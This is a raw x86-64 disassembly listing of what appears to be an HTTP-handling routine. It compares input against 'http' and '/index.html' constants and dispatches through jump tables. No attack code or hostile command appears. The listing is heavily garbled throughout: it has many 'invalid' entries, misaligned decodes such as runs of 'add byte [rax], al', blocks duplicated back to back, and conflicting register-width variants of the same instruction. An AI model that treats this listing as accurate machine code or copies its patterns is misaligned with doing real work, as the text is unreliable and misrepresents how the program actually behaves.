add byte [rax + 0x39], cl
ror dword [rdi], 1
adc dword [rax + 0x4800002d], 0xffffff8b
xchg esp, eax
and al, 0xc0
add al, byte [rax]
add byte [rax - 0x73], cl
or al, 0xc9
mov rdx, qword [rsp + 0x2c0]
lea rcx, [rcx + rcx*8]
lea rax, [rdx + rcx*8]
cmp qword [rdx + rcx*8 + 0x10], 0
retf 0x10
je 0x1400284c0
retf 0x10
mov rcx, qword [rax + 0x18]
mov edx, 1
jmp 0x1400284c2
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rsi - 0x70], ah
mov rax, qword [rsp + 0x2d8]
cmp rax, qword [rsp + 0x2e8]
je 0x14002aaae
lea rcx, [rax + 0x68]
mov qword [rsp + 0x2d8], rcx
push 0x248c8948
fadd dword [rdx]
add byte [rax], al
mov rcx, qword [rax]
cmp rcx, 2
je 0x14002aaae
mov edx, dword [rax + 0x3a]
movzx r8d, word [rax + 0x3e]
shl r8, 0x20
or r8, rdx
mov qword [rsp + 0x428], r8
movzx edx, byte [rax + 0x39]
mov byte [rsp + 0x93], dl
movzx edx, byte [rax + 0x38]
cmp byte [rax + 0x922494], cl
add byte [rax], al
cmp byte [rax + 0x922494], cl
add byte [rax], al
mov rdx, qword [rax + 0x30]
mov qword [rsp + 0x418], rdx
and al, 0x18
add al, 0
add byte [rax - 0x75], cl
push rax
sub byte [rax - 0x77], cl
xchg esp, eax
and al, 0x10
add al, 0
add byte [rax - 0x75], cl
push rax
and byte [rax - 0x77], cl
xchg esp, eax
and al, 8
add al, 0
add byte [rbx + 0xf441a50], cl
mov bh, 0x40
invalid
shl r8, 0x20
shl eax, 0x20
and al, 0x18
add al, 0
add byte [rax - 0x75], cl
push rax
sub byte [rax - 0x77], cl
xchg esp, eax
and al, 0x10
add al, 0
add byte [rax - 0x75], cl
push rax
and byte [rax - 0x77], cl
xchg esp, eax
and al, 8
add al, 0
add byte [rbx + 0xf441a50], cl
mov bh, 0x40
invalid
shl eax, 0x20
or r8, rdx
mov qword [rsp + 0x420], r8
movzx edx, word [rax + 0x18]
mov dword [rsp + 0x274], edx
je 0x140028292
add byte [rax], al
and al, 0x20
add al, 0
add byte [rdi], cl
mov bh, 0x50
sbb byte [rcx + 0x2742494], cl
je 0x140028292
add byte [rax], al
mov rdx, qword [rax + 8]
mov qword [rsp + 0x2a8], rcx
test al, 2
add byte [rax], al
mov qword [rsp + 0x2b0], rdx
mov rcx, qword [rax + 0x40]
mov ecx, dword [rax + 0x40]
mov rdx, qword [rax + 0x48]
mov r8, qword [rax + 0x50]
push rax
mov rax, qword [rax + 0x58]
mov rbp, rcx
mov ebp, ecx
int 0x48
mov dword [rsp + 0x500], eax
invalid
mov qword [rsp + 0x500], rax
add byte [rax - 0x77], cl
ret
mov rbx, rax
mov qword [rsp + 0x508], r8
mov r9, r8
mov qword [rsp + 0x510], rdx
and al, 0x10
add eax, 0x89480000
invalid
mov qword [rsp + 0x518], rcx
mov word [rax + rbx], fs
invalid
add byte [rax], al
add eax, 0x89480000
invalid
mov edx, dword [rsp + 0x274]
mov r15d, edx
shr r15d, 8
mov r14, rbp
shr r14, 0x10
out dx, al
adc byte [rax - 0x75], cl
test byte [rax + rdx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rdi], ah
and al, 0x38
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rcx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rbp], ah
add eax, 0x8b480000
test byte [rax + rbp], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + riz], ah
and al, 0x20
add eax, 0x8b480000
test byte [rax + riz], ah
add al, 0
invalid
out dx, al
adc byte [rax - 0x75], cl
test byte [rax + rdx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rdi], ah
and al, 0x38
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rcx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rbp], ah
add eax, 0x8b480000
test byte [rax + rbp], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + riz], ah
and al, 0x20
add eax, 0x8b480000
test byte [rax + riz], ah
add al, 0
add byte [rax - 0x77], cl
mov qword [rsp + 0x400], rax
invalid
invalid
mov qword [rsp + 0x400], rax
mov r10, rbx
fimul dword [rcx + rcx*4 - 0x31]
fimul dword [rcx + rcx*4 - 0x31]
mov r12, rsi
movzx eax, byte [rsp + 0x93]
and al, 0x93
add byte [rax], al
add byte [rax], al
and al, 0x93
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xa7], al
mov byte [rsp + 0xa7], al
mov eax, r15d
mov byte [rsp + 0x7f], r15b
mov eax, edx
mov byte [rsp + 0x7e], dl
mov r11d, edx
mov ebx, edx
movzx edx, byte [rsp + 0x92]
mov eax, edx
cmp dl, 8
cli
invalid
je case.default.0x1400284a7
mov qword [rsp + 0x3f8], rbp
mov qword [rsp + 0x440], r9
mov word [rsp + 0x118], cx
mov dword [rsp + 0x11a], r14d
mov rdx, r14
shr rdx, 0x20
mov word [rsp + 0x11e], dx
mov qword [rsp + 0x120], r12
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x268], r10
and al, 0x68
add al, byte [rax]
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x30
add dword [rax], eax
add byte [rax + rcx*4 + 0x5c], al
and al, 0x4f
and al, 0x68
add al, byte [rax]
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x30
add dword [rax], eax
add byte [rax + rcx*4 + 0x5c], al
and al, 0x4f
mov byte [rsp + 0x138], r11b
mov byte [rsp + 0x139], r15b
mov rdx, qword [rsp + 0x400]
add byte [rax + rax], al
invalid
add byte [rax + rax], al
add byte [rcx + 0x13a2494], cl
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x13a], edx
shr rdx, 0x20
mov word [rsp + 0x13e], dx
xchg esp, eax
and al, 0x3e
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x30
add al, 0
add byte [rax - 0x77], cl
mov dword [rsp + 0x140], edx
xchg esp, eax
and al, 0x3e
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x30
add al, 0
add byte [rax - 0x77], cl
mov dword [rsp + 0x140], edx
mov rdx, qword [rsp + 0x438]
mov qword [rsp + 0x148], rdx
mov rdx, qword [rsp + 0x528]
mov edx, dword [rsp + 0x528]
invalid
invalid
mov dword [rsp + 0x140], edx
mov rdx, qword [rsp + 0x438]
mov qword [rsp + 0x148], rdx
mov rdx, qword [rsp + 0x528]
mov edx, dword [rsp + 0x528]
mov edx, dword [rsp + 0x528]
add byte [rax - 0x77], cl
mov qword [rsp + 0x150], rdx
mov byte [rsp + 0x158], al
xchg esp, eax
and al, 0x50
push rax
push rax
add dword [rax], eax
add byte [rax + 0x1582484], cl
add byte [rax], al
mov r9, qword [rsp + 0x520]
mov rdx, r9
retf 0xc148
invalid
and byte [rbp + rcx*4 + 0x40], al
invalid
dec al
xor r10d, r10d
cmp r8b, 6
movzx r8d, byte [rsp + 0xa7]
test byte [rdi + riz*4], ah
add byte [rax], al
add byte [rax + rcx*4 - 0x7c], al
and al, 0x59
add dword [rax], eax
add byte [rcx + rcx*4 - 0x74], al
and al, 0x5a
add dword [rax], eax
add byte [rdi], cl
mov dh, 0xc0
retf 0xc148
test byte [rdi + riz*4], ah
add byte [rax], al
add byte [rax + rcx*4 - 0x7c], al
and al, 0x59
add dword [rax], eax
add byte [rcx + rcx*4 - 0x74], al
and al, 0x5a
add dword [rax], eax
add byte [rdi], cl
mov dh, 0xc0
cmovae eax, r10d
mov word [rsp + 0x15e], dx
invalid
ret 0x8966
add byte [rdi + rcx - 0x4a], al
ror byte [rax - 0x73], 0x15
invalid
movzx r8d, al
lea rdx, [0x140176c5c]
movsxd rax, dword [rdx + r8*4]
add rax, rdx
add eax, edx
add eax, edx
mov qword [rsp + 0xb0], rdi
mov dword [rsp + 0xb0], edi
mov dword [rsp + 0x94], r15d
mov qword [rsp + 0x448], rsi
and al, 0x48
add al, 0
add bh, bh
jmp rax
and al, 0x48
add al, 0
add bh, bh
jmp rax
invalid
mov cl, 2
add cl, byte [rax - 0x7d]
mov esp, 0x11824
add byte [rax], al
cmp qword [rsp + 0x118], 0
je 0x140028998
jmp 0x140028b1c
xor edx, edx
mov qword [rsp + 0x2a8], rdx
mov qword [rsp + 0x2b0], rcx
movzx edi, word [rax + 0x20]
mov ecx, dword [rax + 0x22]
movzx r9d, word [rax + 0x26]
shl r9, 0x20
or r9, rcx
mov r12, qword [rax + 0x28]
mov r11, qword [rax + 0x30]
mov r10, qword [rax + 0x38]
movzx r8d, byte [rax + 0x40]
movzx edx, byte [rax + 0x41]
mov ecx, dword [rax + 0x42]
push rax
mov ecx, dword [r8 + 0x42]
movzx eax, word [rax + 0x46]
shl rax, 0x20
or rax, rcx
mov rbp, qword [rsp + 0x518]
add byte [rax], al
add byte [rax], al
mov rbx, qword [rsp + 0x500]
mov r14, qword [rsp + 0x508]
and al, 8
invalid
add byte [rax], al
and al, 8
add eax, 0x8b480000
add byte [rax], al
mov rsi, qword [rsp + 0x510]
invalid
invalid
add byte [rax], al
mov rsi, qword [rsp + 0x510]
mov qword [rsp + 0x428], rax
and al, 0x28
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add al, 0
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x18
add al, 0
add byte [rcx + rcx*4 - 0x64], cl
and al, 0x10
add al, 0
invalid
add eax, 0x89480000
test byte [rax + rbp], ah
and al, 0x28
sub byte [rax + rax], al
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add al, 0
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x18
add al, 0
add byte [rcx + rcx*4 - 0x64], cl
and al, 0x10
add al, 0
add byte [rcx + rcx*4 - 0x28], cl
mov rax, r11
mov rax, r11
mov qword [rsp + 0x408], r12
mov byte [rsp + 0x92], r8b
xchg edx, eax
add byte [rax], al
invalid
and al, 8
add al, 0
add byte [rax + rcx*4 - 0x7c], al
and al, 0x92
xchg edx, eax
xchg edx, eax
add byte [rax], al
add byte [rbp - 0x77], al
add byte [rax], al
mov r11d, r8d
mov qword [rsp + 0x420], r9
mov rcx, r9
mov ecx, ecx
ret
mov ecx, ecx
leave
mov r9, r14
mov r14, rcx
mov byte [rsp + 0x93], dl
xchg ebx, eax
add byte [rax], al
add byte [rcx - 0x77], al
mov edi, edx
xchg ebx, eax
add byte [rax], al
add byte [rcx - 0x77], al
mov edi, edx
mov edi, edx
mov dword [rsp + 0x274], edi
mov ecx, edi
mov rdi, rax
mov edi, eax
mov edi, eax
mov qword [rsp + 0x3f8], rbp
mov dword [rsp + 0x3f8], ebp
add eax, dword [rax]
add byte [rsi - 0x77], ah
mov word [rsp + 0xc0], cx
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], al
mov dword [rsp + 0xc2], r14d
mov rax, r14
invalid
mov dword [rsp + 0xc2], r14d
mov rax, r14
invalid
mov ah, 0x24
ret 0
invalid
shr rax, 0x20
shr eax, 0x20
mov word [rsp + 0xc6], ax
mov qword [rsp + 0xc8], r12
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], r10
and al, 0xd8
add byte [rax], al
invalid
and al, 0xc6
add byte [rax], al
mov byte [rax], 0
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0xc8
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0xd024
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0xd8
add byte [rax], al
add byte [rax + rcx*4 - 0x64], al
mov byte [rsp + 0xe0], r11b
mov byte [rsp + 0xe1], r15b
invalid
invalid
test byte [rax + rax], ah
add al, 0
mov byte [rsp + 0xe0], r11b
mov byte [rsp + 0xe1], r15b
mov rax, qword [rsp + 0x400]
add byte [rcx + 0xe22484], cl
add byte [rax], al
add byte [rcx + 0xe22484], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x3f], cl
call 0xc48bec0a
and al, 0xe6
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add al, 0
add byte [rax - 0x7d], cl
cmp rax, 5
je 0x14002b045
test byte [rdx + rbp], al
invalid
shr rax, 0x20
mov word [rsp + 0xe6], ax
mov rax, qword [rsp + 0x480]
cmp rax, 5
je 0x14002b045
test byte [rdx + rbp], al
invalid
test byte [rdx + rbp], al
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x68
add al, byte [rax]
add byte [rbx - 0x76b3fb08], al
mov word [rax + rax*2], fs
and al, 0x40
mov qword [rsp + 0x268], r10
cmp eax, 4
mov qword [rsp + 0x440], r9
and al, 0x40
add al, 0
add byte [rax + rcx*4 + 0x5c], al
and al, 0x4f
invalid
and al, 0x40
add al, 0
add byte [rax + rcx*4 + 0x5c], al
and al, 0x4f
invalid
jae case.default.0x140028629
jae case.default.0x140028629
lea rcx, [0x140176e80]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsp + 0x488]
mov ecx, dword [rsp + 0x488]
jmp 0x1400287b3
mov r13, r14
cmc
mov rbp, rdi
mov r14, rsi
test byte [rdi], 0xb6
test byte [rax + rcx*8], ah
add al, 0
add byte [rbp - 0x370101b8], cl
test byte [rdi], 0xb6
test byte [rax + rcx*8], ah
add al, 0
add byte [rbp - 0x370101b8], cl
cmp cl, 6
movzx eax, al
mov ecx, 0
add byte [rax], al
add byte [rdi], cl
sar dword [r14 + 7], 0xf
mov dh, 0xc0
add byte [rax], al
add byte [rdi], cl
sar dword [r14 + 7], 0xf
mov dh, 0xc0
lea rcx, [0x140176e64]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdi, rbx
cmp qword [rsp + 0x488], 0
cmp dword [rsp + 0x488], 0
je 0x1400292ed
mov rbx, qword [rsp + 0x490]
mov rsi, qword [rsp + 0x498]
test r11b, r11b
jne 0x140028820
invalid
pushfq
and al, 0x90
add al, 0
add byte [rax - 0x75], cl
mov ah, 0x24
cwde
add al, 0
add byte [rbp - 0x7c], al
fisttp dword [rdi]
test dword [rcx + 1], edi
add byte [rax], al
invalid
jmp 0x140028875
cmp rdi, 0xb
je 0x1400289c0
cmp rdi, 1
jne 0x140028aa3
cmp byte [r12], 0x2f
sete al
mov ecx, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
jmp 0x140028a10
mov eax, 2
add al, byte [rax]
add byte [rax], al
invalid
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x3f8]
cmp al, 1
invalid
add dword [rdi], ecx
test byte [rsi + 0xf000003], cl
mov dh, 0xc0
je 0x140028a7a
movzx eax, al
cmp eax, 2
jne 0x140028b1a
mov eax, 3
jmp case.0x1400284a7.85
invalid
add byte [rax - 0x7d], cl
inc dword [0x1437b0b19]
cmp rdi, 5
je case.0x14001a6b7.330
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
inc dword [rdi + rcx]
test edx, edi
add eax, dword [rax]
add byte [rcx - 0x7f], al
cmp al, 0x24
push 0xf707474
jo 0x14002872e
cmp rdi, 4
jne 0x140028b10
cmp dword [r12], 0x70747468
sete cl
xchg esp, eax
invalid
mov eax, 6
invalid
add byte [rax], al
invalid
jo 0x14002872e
xchg esp, eax
sar dword [rax + 6], 0x48
invalid
add byte [rax], al
invalid
invalid
invalid
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
test cl, cl
jne 0x1400292e6
mov bl, 0xb
add byte [rax], al
test dword [rbx + 0x4800000b], esi
mov dword [rsp + 0xa8], ecx
add byte [rax], al
mov bl, 0xb
add byte [rax], al
mov qword [rsp + 0xa8], rcx
add byte [rax], al
mov dword [rsp + 0xbc], 0
mov esp, 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add cl, ch
jmp 0x140028b31
out 3, al
add byte [rax], al
mov qword [rsp + 0x50], r8
and al, 0x50
jmp 0x140028b1a
mov cl, 2
jmp 0x140028b1c
add byte [rax], al
add byte [rdi], cl
mov bh, 0xc1
movzx eax, cx
mov ecx, 8
mov qword [rsp + 0x50], rcx
add byte [rax - 0x77], cl
and al, 0x50
xor ecx, ecx
leave
cmp eax, 0x12f
jle 0x1400287d4
cmp eax, 0x193
jg 0x140028f75
invalid
cmp eax, 0x130
je 0x14002932b
add dword [rax], eax
add byte [rdi], cl
test byte [rbx + 0x3d00000b], ah
nop
add dword [rax], eax
add byte [rax], al
jne 0x140028b1c
invalid
cmp eax, 0x190
add byte [rax], al
jne 0x140028b1c
mov eax, 0xc
or al, 0
add byte [rax], al
jmp case.0x1400284a7.85
add byte [rax], al
mov rcx, qword [rsp + 0x488]
jmp case.0x14002a5ee.24
mov rcx, qword [rsp + 0x490]
add byte [rax - 0x7d], cl
sar dword [rsi], 0x45
test bl, bl
add rcx, 0x3e
test r11b, r11b
setne r9b
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov rdx, r12
mov r8, rdi
call fcn.14002bce0
jmp 0x1400288f4
adc dword [0x160eb87d1], esi
add dword [rax], eax
add byte [0x1400288a1], bh
cmp eax, 0xc8
je case.0x140027e44.92
cmp eax, 0xcc
je 0x140029339
or r8, qword [r8]
invalid
or r8, qword [r8]
add byte [0x1400288bd], bh
cmp eax, 0xce
jne 0x140028b1c
mov eax, 0xa
jmp case.0x1400284a7.85
mov rdi, rbx
mov esi, 5
lea rbx, [0x140117bec]
test r11b, r11b
je 0x140028875
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140028848
mov edx, 1
add byte [rax], al
lea rcx, [rsp + 0x58]
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x10
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
jbe 0x1400288ba
jmp case.default.0x14002a5a1
mov rdi, rbx
lea rbx, [0x140117bde]
test r11b, r11b
jne 0x140028820
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002889d
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
dec dword [rax - 0x75]
and al, 0x60
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x80], eax
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffb8
add byte es:[rax], al
cmp rax, rcx
ja case.default.0x14002a5a1
mov qword [rsp + 0x60], rax
mov rcx, rbx
mov rdx, rsi
lea rsi, [rsp + 0x58]
lea esi, [rsp + 0x58]
lea esi, [rsp + 0x58]
je 0x1400288ed
and al, 0x58
pop rax
mov r8, rsi
call fcn.14002bfd0
mov rcx, r12
mov rdx, rbp
mov r8, rsi
call fcn.14002bfd0
add byte [rax], al
add byte [rax], al
mov rbx, rdi
sti
mov rdi, rbp
mov edi, ebp
mov rsi, r14
mov r14, r13
test byte [rbp - 0x77], 0xee
lea r13, [rsp + 0x160]
lea ebp, [rsp + 0x160]
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0xc0]
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax], al
invalid
invalid
xchg esp, eax
add byte [rax], al
mov rdx, qword [rsp + 0xc8]
and al, 0xc8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xd0
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx*8], fs
add byte [rax], al
invalid
enter 0, 0
mov r8, qword [rsp + 0xd0]
lea rcx, [rsp + 0xd8]
add byte [rax], al
add byte [rax], al
add bh, bh
push rax
adc byte [rdi], cl
mov dh, 0x84
and al, 0xf0
call qword [rax + 0x10]
movzx eax, byte [rsp + 0x2f0]
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
invalid
xchg esp, esi
invalid
invalid
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test dword [rdi - 0x1600000c], eax
push rsp
clc
invalid
jmp 0x140028182
mov rdi, rbx
mov edi, ebx
fisttp word [rax - 0x73]
sbb eax, 0xef2ad
lea rbx, [0x140117be5]
test r11b, r11b
jne 0x140028820
jmp 0x140028875
mov rdi, rbx
mov esi, 0xa
add byte [rax], al
add byte [rax], al
lea rbx, [0x140117bd4]
test r11b, r11b
jne 0x140028820
jmp 0x140028875
adc bh, bh
invalid
mov rdi, rbx
mov edi, ebx
mov esi, 9
lea rbx, [0x140117bf1]
test r11b, r11b
jne 0x140028820
jmp 0x140028875
invalid
mov rdi, rbx
lea rbx, [0x140117bfa]
test r11b, r11b
jne 0x140028820
jmp 0x140028875
cmp r12b, 0x4c
ja case.0x1400289b4.5
cld
ja case.0x1400289b4.5
add byte [rcx + 0xf], al
mov dh, 0xc4
movzx eax, r12b
lea rcx, [0x140176c78]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
or dword [rax + 1], 0xb8e0ffc8
adc eax, dword [rax]
add byte [rax], al
mov eax, 0x13
jmp 0x140028b15
add byte [rcx - 0x75], cl
add al, 0x24
mov rax, qword [r12]
bswap rax
movabs rcx, 0x2f696e6465782e68
mov rdx, rcx
cmp rax, rcx
outsb dx, byte [rsi]
imul ebp, dword [rdi], 0x48ca8948
cmp eax, ecx
jne 0x1400289f5
mov rax, qword [r12 + 3]
bswap rax
xor ecx, ecx
movabs r8, 0x6465782e68746d6c
mov rdx, r8
add ecx, dword [rax + 0xf]
enter 0xffffffffffffc931, 0x49
mov eax, 0x68746d6c
js 0x140028a51
mov rdx, r8
cmp rax, r8
je 0x140028a02
cmp rax, rdx
mov ecx, 0
sbb ecx, ecx
or ecx, 1
xor eax, eax
test ecx, ecx
sete al
mov rcx, rax
or rcx, 4
xor edx, edx
test al, al
sete dl
mov qword [rsp + 0xc8], rcx
mov rax, qword [rsp + 0x158]
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
add byte [rax], al
movups xmmword [rcx + 0x30], xmm3
adc dword [rcx + 0x30], ebx
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc0], rdx
lea rcx, [0x140176e00]
movsxd rax, dword [rcx + rdx*4]
add rax, rcx
jmp rax
mov eax, 2
jmp case.0x1400284a7.85
mov eax, dword [r12]
bswap eax
cmp eax, 0x68747470
jne 0x1400292c1
add byte [rax], al
movzx eax, byte [r12 + 4]
add eax, 0xffffff8d
jmp 0x1400292cb
invalid
mov eax, 1
mov ecx, 4
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x128], cl
add byte [rax], al
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x128], cl
add byte [rax], al
add byte [rax], al
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
pop rdx
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
pop rdx
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
lea rcx, [0x140176e00]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 6
mov qword [rsp + 0x50], rax
xor ecx, ecx
mov qword [rsp + 0xa8], rcx
cmp cl, 2
sete al
mov dword [rsp + 0xbc], eax
lea rcx, [rsp + 0x118]
call fcn.14001d760
shl rax, 2
mov rcx, qword [rsp + 0x88]
mov rsi, qword [rcx + 0x68]
lea rcx, [rsi + rsi*2]
cmp rax, rcx
jbe 0x140028bd0
cmp byte [rsp + 0xbc], 0
je case.default.0x140028bc3
mov rax, qword [rsp + 0x158]
lea rcx, [rsp + 0xc8]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x118]
test byte [rax + rbx*2], ah
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
adc byte [r15], cl
adc dword [rcx], eax
adc byte [r15], cl
adc dword [rcx], eax
mov eax, 4
mov qword [rsp + 0xc0], rax
lea rcx, [0x140176e00]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x280], rbx
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x3e0], rax
and al, 0xe0
add eax, dword [rax]
add byte [rdi], cl
adc byte [rsp + 0x118], al
and al, 0xe0
add eax, dword [rax]
add byte [rdi], cl
adc byte [rsp + 0x118], al
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movaps xmmword [rsp + 0x3d0], xmm3
movaps xmmword [rsp + 0x3c0], xmm2
add eax, dword [rax]
add byte [rdi], cl
sub dword [rsp + 0x3b0], ecx
add eax, dword [rax]
add byte [rdi], cl
sub dword [rsp + 0x3b0], ecx
movaps xmmword [rsp + 0x3a0], xmm0
lea rcx, [rsp + 0x3a0]
call fcn.14001d760
invalid
dec dword [rax - 0x75]
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov qword [rsp + 0x4f8], rcx
mov dword [rsp + 0x4f8], ecx
movabs al, byte [0xa0248c8d48000003]
add eax, dword [rax]
add al, ch
sub ecx, dword [rbx - 1]
invalid
dec dword [rax - 0x75]
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov dword [rsp + 0x4f8], ecx
mov word [rax + rdi*8], fs
add al, 0
add byte [rax + 1], cl
enter 0x3948, 0xfffffffffffffff0
cmp eax, esi
add rax, rcx
cmp rax, rsi
cmp eax, esi
cmp eax, esi
mov qword [rsp + 0x260], r12
movsb byte [rdi], byte [rsi]
and al, 0x60
add al, byte [rax]
add byte [rdi], cl
jae 0x140028d85
jae 0x140028d85
mov rax, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
mov rbx, qword [rax + 0x28]
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x88]
mov rax, qword [rax + 0x48]
mov rcx, rbx
shr rcx, 2
mov rdx, rbx
sub rdx, rcx
cmp rax, rdx
jne 0x140028db0
test rax, rax
test eax, eax
je 0x140028df1
mov rbp, r14
lea r12, [rbx + rbx]
mov rax, qword [rsp + 0x88]
mov rsi, qword [rax + 0x20]
and byte [rax + 8], bh
and byte [rax + 8], bh
add byte [rax], al
test rbx, rbx
je 0x1400290c9
mov rcx, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
mov rcx, qword [rcx + 0x50]
lea rdx, [rbx*8]
add byte [rax - 0x73], cl
adc al, 0x52
add byte [rax - 0x73], cl
adc al, 0x52
xor r8d, r8d
xor r14d, r14d
jmp 0x140028cf0
add r8, 0x18
inc r14
cmp rdx, r8
je 0x140028fe0
cmp qword [rsi + r8], 0
je 0x140028ce0
mov r9, qword [rsi + r8 + 0x10]
and r9, rcx
mov r10, r14
sub r10, r9
test r10, rcx
jne 0x140028ce0
test r12, r12
jne case.0x14001a6b7.336
jmp 0x1400290cc
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x158]
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x118]
adc byte [rsp + 0x118], al
adc byte [rsp + 0x118], al
movups xmm1, xmmword [rsp + 0x128]
sub byte [rcx], al
add byte [rax], al
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
add dword [rax + 1], edi
add dword [rax + 1], edi
mov qword [rsp + 0xc0], rax
lea rcx, [0x140176e00]
add byte [rax + 0x63], cl
add al, 0x81
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
movzx eax, byte [rsp + 0x3e0]
mov rcx, qword [rsp + 0x88]
mov rbx, qword [rcx + 0x28]
pop rcx
sub byte [rax + rax*8 - 0x1377bf1], al
invalid
invalid
pop rcx
sub byte [rax + rax*8 - 0x1377bf1], al
invalid
or al, 0xf8
cmp al, 0xfa
